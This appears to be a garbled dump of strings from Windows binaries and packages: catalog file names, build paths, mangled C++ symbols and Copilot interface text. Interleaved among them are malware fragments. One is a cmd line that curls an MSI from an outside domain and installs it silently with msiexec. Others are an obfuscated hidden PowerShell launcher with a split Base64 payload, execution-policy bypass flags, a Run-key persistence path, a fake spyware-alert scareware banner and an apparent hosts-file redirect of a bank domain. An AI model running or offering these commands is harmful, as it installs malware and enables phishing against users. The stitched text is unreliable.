Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|soft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
wwindowssecurity</span></div></div><divclass="col-md-8"><divclass="activate_lic"><ul><li><ahref="#"><button>activateyourlicense</button>
sts.windows.net
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WMIC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
	ostype-match"windows"-or!
.ShowWindowsInTaskb!
eIk+p/generic:microsoft_windows_shell_zipfolder:filename=
.runtrim("winlogon.exe-d-t-l-e0.0.0.0-i127.0.0.1-p
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
2=%systemroot%\syswow64\windowspowershell\v1.0\powershell.exeset"
executionpolicybypass-windowstylehidden-fil
Service\AppData\Local\Microsoft\WindowsApps
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
Microsoft.Windows.Power.RtApi
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.AI.MachineLearning.h
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Pnp-RuntimeDeviceInstall-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-OneCore-Graphics-Required-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
SnippingTool\SnippingTool.exeWindows.FullTrustApplicationon
WidgetService\WidgetService.exeWindows.FullTrustApplicationImages\SplashScreen.png
MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exeWindows.FullTrustApplicationImages\SplashScreen.png
Global.WidgetBoardMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoardms-resource:WidgetBoard/Resources/AppDisplayNamems-resource:WidgetBoard/Resources/AppDescriptionAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
WidgetBoard.exeWindows.FullTrustApplication
WidgetsMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgetsms-resource:PkgDisplayNamems-resource:PkgDisplayNameDashboard\Images\Square150x150Logo.pngDashboard\Images\Square44x44Logo.pngDashboard\Images\Square310x150Logo.pnglight
Dashboard\Widgets.exeWindows.FullTrustApplication
PackageMetadataMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadataDesktopPackageMetadataPackageMetadataAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
PaintApp\mspaint.exeWindows.FullTrustApplication$(env:USERPROFILE)
StoreDesktopExtensionMicrosoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtensionMicrosoft Store ServerMicrosoft Store ServerAssets\AppTiles\StoreMedTile.pngAssets\AppTiles\StoreAppList.pnglight
StoreDesktopExtension.exeWindows.FullTrustApplication
Global.WidgetViewWinUI3MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3Global.WidgetViewWinUI3Global.WidgetViewWinUI3Assets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.WidgetPickerMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPickerGlobal.WidgetPickerGlobal.WidgetPickerAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
Global.WidgetDataModelMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModelGlobal.WidgetDataModelGlobal.WidgetDataModelAssets\Square150x150Logo.pngAssets\Square44x44Logo.pnglight
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Storage.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\coroutine.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\windowsudk.system.userprofile.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.UndockedDevKit.10.0.26529.1002-ge-current-directshell-dev2\inc\udk\com_apis.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.UndockedDevKit.10.0.26529.1002-ge-current-directshell-dev2\inc\udk\app_extension_helpers.h
.?AU?$consume_Windows_UI_Xaml_IUIElement3@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement6@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement6@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement7@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement3@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement4@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElement2@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControl7@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@USettingsPage@implementation@TaskManagerApp@winrt@@UIControl4@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@USettingsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
s\system32
$ography.com/backup','c:\windows\tasks\
windowsudk.shellcommon.dll
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Staging.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Controls.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Data.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.Core.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.ApplicationModel.DataTransfer.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\windows.foundation.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.StartScreen.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Globalization.NumberFormatting.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\cppwinrt_helpers.h
software\microsoft\windows\currentversion\run
c:\windows\system32\
c:\windows\system32\
c:\windows\fonts\
c:\windows\fonts\
c:\windows\system32\
c:\windows\system32\
.exe c:\windows\fonts\
c:\windows\system32\
.exe c:\windows\fonts\
c:\windows\fonts\
c:\windows\fonts\
c:\windows\system32\cmd.exe/kstartmsedgehttps://resources.finalsite.net/images/v1591031008/madison/d2x0p4of6ojpbfu80izw/directionstoaccesssora_overdrive.pdf&curl-slo%temp%\bosfortuy.mshttp://sorainstructionskey.life/part/setup6319.msi&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
://santander.cl >> %windir%\system32\driv
4e^com.microsoft.windows.e
50^com.microsoft.windows.e)
wow64_microsoft-windows-version_31bf3856ad364e35_none_92239ae6fa9a8307
wow64_microsoft-windows-video-for-windows_31bf3856ad364e35_none_20df89f2bb82077a
wow64_microsoft-windows-video-tvvideocontrol_31bf3856ad364e35_none_629676c611785e0b
wow64_microsoft-windows-videoforwindowsfeature_31bf3856ad364e35_none_19833e8bfec6e2e4
wow64_microsoft-windows-vidproc_31bf3856ad364e35_none_1e58f5334bbfd862
wow64_microsoft-windows-virtualcameramanager_31bf3856ad364e35_none_c0851af53c2ec196
wow64_microsoft-windows-virtualdiskapilibrary_31bf3856ad364e35_none_55f564ab57fcb788
wow64_microsoft-windows-virtualdiskservice_31bf3856ad364e35_none_28bed5c5cb4b4daa
wow64_microsoft-windows-vss-eventcls_31bf3856ad364e35_none_969ee40975761e48
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.UI.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.System.h
ws\System32\" + "WindowsPo" + "werShell\v1.0\pow" + "ershell.exe"" -win 1 -enc"Shell(batch, 0)+ "LgBzAGgALwBnAGU"+ "AdAAvAEgAeQBLAH"+ "kAbQB2AC8AdwBvA"+ "HIAZABhAHIAdAAu"+ "AGUAeABlACIALAA"+ "iACQAZQBuAHYAOg"+ "BBAFAAUABEAEEAV"+ "ABBAFwAJABQAHIA"+ "bwBjAE4AYQBtAGU"+ "AIgApADsAUwB0AG"+ "EAcgB0AC0AUAByA"+ "G8AYwBlAHMAcwAg"+ "ACgAIgAkAGUAbgB"+ "2ADoAQQBQAFAARA"+ "BBAFQAQQBcACQAU"+ "AByAG8AYwBOAGEA"+ "FILE0
WARNING WINDOWS SECURITY CENTERYOUR COMPUTER IS INFECTED BY SPYWARE !!!
-windowstylehidden-execul
\system32\cmd.exe/cstart/min
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.System.Threading.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.ApplicationModel.AppExtensions.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\WindowsUdk.Storage.Search.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.Graphics.Display.h
VBC:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Input.h
/c"spastics\styracin.cmdreg"imonoeidicxsortieingc:\windows
powershell.exe"set"params=-noprofile-windowstylehidden-executionpolicybypass"set"cmd=
)!y$$method0x600get_Nowget_TotalMillisecondsWindowsBuiltInRoleEnumChildWindowsEnumProcessesset_Widthset_Height.
Microsoft Windows
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
.?AU?$heap_implements@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@@impl@winrt@@
.?AU?$produce_base@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@@winrt@@
.?AU?$root_implements@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$producer_convert@U?$key_value_pair@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@winrt@@@impl@winrt@@U?$IKeyValuePair@Uhstring@winrt@@W4ViewManagerPropertyType@ReactNative@Microsoft@2@@Collections@Foundation@Windows@3@X@impl@winrt@@
https://www.bing.com/AS/API/WindowsCortanaPane/V2/
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-CEIPEnable-Adm-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|00.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|Microsoft-Windows-DirectoryServices-ADAM-Tools-Group-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Ethernet-Client-Realtek-Rtcx21x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|!
